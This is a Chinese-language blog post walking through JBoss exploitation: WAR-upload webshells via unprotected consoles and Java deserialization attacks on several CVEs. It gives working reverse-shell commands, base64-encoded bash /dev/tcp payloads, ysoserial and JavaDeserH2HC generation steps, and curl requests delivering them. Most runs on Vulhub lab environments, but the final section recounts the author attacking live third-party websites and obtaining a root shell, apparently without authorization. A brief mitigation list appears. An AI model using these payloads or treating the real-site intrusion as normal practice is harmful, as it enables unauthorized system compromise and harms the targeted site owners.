前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >漏洞复现 -- JBoss漏洞总结

漏洞复现 -- JBoss漏洞总结

原创
作者头像
Gh0st1nTheShel
修改2022-01-23 14:33:07
2.4K0
修改2022-01-23 14:33:07
举报
文章被收录于专栏:网络空间安全网络空间安全

欢迎关注我的微信公众号《壳中之魂》,查看更多网安文章

Jboss未授权访问漏洞合集

JBoss 4

使用vulnhub提供的环境

地址:Vulhub - Docker-Compose file for vulnerability environment

搭建环境完成后打开

打开控制台

这里用vulnhub搭建的环境是需要密码的,密码为admin:admin,但是我们模拟的环境是未授权访问,也就是不用密码就能登陆控制台,所以就假设不需要密码吧,密码文件:server/default/conf/props/jmx-console-users.properties

进入控制台后找到

打开后找到addurl栏,这里有两个栏,一个是java.net.url,另一个是java.net.string,似乎不管是那个都可以

点击invoke后显示

我在这里出现了问题,不管怎么上传都找不到这个地址,所以下面就只写一下过程

有一些文章里面写了要返回页面点击apply change

理论上如果成功上传后,在控制台页面的jboss.web.deployment会显示包

如果部署成功,就可以打开包页面,假设刚才上传的包名为shell.war,所以要打开:8080/shell/,然后就会看到包里面的内容,如果里面有一个名为hack.jsp的木马,那么我们就可以打开:8080/shell/hack.jsp,然后连接即可

经过查看本地文件,发现并没有上传,没有流量经过,不知道是服务器问题还是环境问题,但是方法就是这样的

Jboss6

流程和4差不多,只不过页面不一样了

环境搭建:Vulhub - Docker-Compose file for vulnerability environment

搭建完后打开,同样打开JMX Cpnsole,这里一样是有密码的,密码为admin:vulhub,密码文件路径:/server/default/conf/props/jbossws-users.properties

然后把页面拉到最下面,找到两个deploy的标签,在框内输入war包的地址,然后点击invoke

然后和jboss4一样访问页面即可

这次上传的时候确实有流量了,但是上传的却不完整,所以也没有办法成功复现,我觉得应该是vulnhub的环境问题

JBoss Administration Console

搭建环境:Vulhub - Docker-Compose file for vulnerability environment

适用范围:

  • JBoss6

首先打开Administration Console,使用vulhub搭建的环境是有密码的,但是我们要模拟的是没有密码或者是弱口令的情况下,所以就直接登入了

密码:admin:vulnhub

登入后打开Web Application (WAR) 页面,上传恶意WAR包

上传成功后查看一下上传的包是否正常开启,默认是正常开启

如果不开启则要手动开启

然后访问8080/hack/hack.jsp即可,路径为war内文件名

msf成功反弹shell

JBOSS反序列化漏洞合集

由于反序列化漏洞的攻击方式都是一样的,只是漏洞发生的文件和成因不同,所以就以JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)为例子过一遍流程

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

该漏洞存在于http invoker组件的ReadOnlyAccessFilter的doFilter中,在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化

使用环境:Vulhub - Docker-Compose file for vulnerability environment

漏洞验证:

访问:8080/invoker/readonly,页面返回状态码500说明存在漏洞

使用JavaDeserH2HC攻击

使用工具JavaDeserH2HC

下载地址:joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com)

首先先设置监听

代码语言:javascript
复制
nc -lvp 6969 

然后使用刚才下载的工具进行反弹shell

代码语言:javascript
复制
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
//生成序列化数据ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.200.4:6969
//以二进制格式发送ReverseShellCommonsCollectionsHashMap.ser包
curl http://192.168.200.4:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

这是可以看到反弹shell了

发现有很多命令是没有回显的

使用ysoserial反弹Shell

注意:此方法测试前先设置监听,然后在运行反弹shell的语句,看看是否执行正常,我的kali由于无法执行‘bash -i >& /dev/tcp/攻击者IP/1234 0>&1命令’导致无法使用反弹shell的语句,浪费了大量的时间

其实原理和上面的方法是一样的,就是生成一个序列化的数据然后发送报文,让其自动反序列化,只不过反弹的语句可控

将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

命令

代码语言:javascript
复制
bash -i >& /dev/tcp/192.168.200.42/6969 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}

使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)

代码语言:javascript
复制
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser 

然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听

代码语言:javascript
复制
curl http://192.168.200.42:8080/invoker/readonly --data-binary @hack.ser 

最后针对此漏洞再推荐几个脚本:

yunxu1/jboss-_CVE-2017-12149: CVE-2017-12149 jboss反序列化 可回显 (github.com)

sevck/CVE-2017-12149: CVE-2017-12149 JBOSS as 6.X反序列化(反弹shell版) (github.com)

都可以免去大量的步骤达到同样的效果

防护

  • 删除http-invoker.sar组件,路径如下jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
  • 升级JBoss

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

原理其实和上面的差不多,流程也差不多

使用vulhub提供的环境:Vulhub - Docker-Compose file for vulnerability environment

原理

JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

影响版本

  • JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
  • JBoss AS (Wildly) 6 and earlier
  • JBoss A-MQ 6.2.0
  • JBoss Fuse 6.2.0
  • JBoss SOA Platform (SOA-P) 5.3.1
  • JBoss Data Grid (JDG) 6.5.0
  • JBoss BRMS (BRMS) 6.1.0
  • JBoss BPMS (BPMS) 6.1.0
  • JBoss Data Virtualization (JDV) 6.1.0
  • JBoss Fuse Service Works (FSW) 6.0.0
  • JBoss Enterprise Web Server (EWS) 2.1,3.0

攻击

首先搭建环境,搭建完后打开页面

漏洞验证

访问:8080/invoker/JMXInvokerServlet,返回如下页面,说明接口开放,此接口存在反序列化漏洞。设置好监听,用来接收shell

使用工具JavaDeserH2HC

下载地址:joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com)

代码语言:javascript
复制
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
//生成序列化数据ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.200.4:6969
//以二进制格式发送ReverseShellCommonsCollectionsHashMap.ser包
curl http://192.168.200.4:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

反弹成功

同样发现有很多命令是没有回显的,如果想要使用回显可以使用CVE-2017-12149的第二种方法,也可以使用一些自动化工具,比如

https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

适用范围:

lJboss AS 4.x及之前版本

漏洞环境:

Vulhub - Docker-Compose file for vulnerability environment

漏洞验证:

访问/jbossmq-httpil/HTTPServerILServlet,出现以下页面代表存在漏洞

攻击

攻击时方式和前几个一样,先生成一个序列化数据,然后通过包发送,生成方式一样

使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)

将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

代码语言:javascript
复制
bash -i >& /dev/tcp/192.168.200.42/6969 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser

然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听

代码语言:javascript
复制
curl http://192.168.200.42:8080/invoker/readonly --data-binary @hack.ser 

由于过程和上面的一摸一样我就不细写了

反弹shell

JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)

影响版本:

ljboss 6.x 版本

漏洞验证:

访问/invoker/EJBInvokerServlet,如果如下图所示代表存在此漏洞

使用ysoserial反弹Shell

注意:此方法测试前先设置监听,然后在运行反弹shell的语句,看看是否执行正常,我的kali由于无法执行‘bash -i >& /dev/tcp/攻击者IP/1234 0>&1命令’导致无法使用反弹shell的语句,浪费了大量的时间

其实原理和上面的方法是一样的,就是生成一个序列化的数据然后发送报文,让其自动反序列化,只不过反弹的语句可控

将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

命令

代码语言:javascript
复制
bash -i >& /dev/tcp/192.168.200.42/6969 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}

使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)

代码语言:javascript
复制
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser 

然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听

代码语言:javascript
复制
curl http://192.168.200.42:8080/invoker/EJBInvokerServlet --data-binary @hack.ser 

由于过程和上面的一摸一样我就不细写了

反弹shell

自动化工具

一个是jboss全反序列化漏洞检测的,使用方法就不介绍了,全中文+图形界面

下载地址:https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

JexBoss工具,可以用来检测弱口令和反序列化

下载地址:joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool (github.com)

首先先设置监听,设置监听后启动工具

代码语言:javascript
复制
python ./jexboss.py -host http://192.168.200.43:8080/ 

首先会先扫描是否存在漏洞,然后验证未授权漏洞

未授权漏洞验证失败后验证反序列化漏洞

如果成功执行输入监听的ip的端口反弹shell

实战

找到了一个使用Jboss的网站

直接访问该网站的/invoker/EJBInvokerServlet页面,发现返回文件,确定含有漏洞

直接使用ysoseriall和CommonsCollections5来生成序列化数据,监听本机的端口,然后发送成功反弹shell

而且运气很好拿到的shell是root权限的

还找到了另外一个网站,对漏洞进行测试

访问:8080/invoker/readonly,返回状态码500

访问/invoker/JMXInvokerServlet,返回下载,说明漏洞存在

访问/jbossmq-httpil/HTTPServerILServlet显示页面,说明含有漏洞

访问/invoker/EJBInvokerServlet,返回下载,说明有漏洞

不过最后并没有成功反弹shell猜测原因应该是因为目标系统执行bash命令有问题,导致命令无法正常执行

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Jboss未授权访问漏洞合集
    • JBoss 4
      • Jboss6
        • JBoss Administration Console
        • JBOSS反序列化漏洞合集
          • JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
            • 使用JavaDeserH2HC攻击
            • 使用ysoserial反弹Shell
          • JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
            • JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
              • JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)
              相关产品与服务
              网站渗透测试
              网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档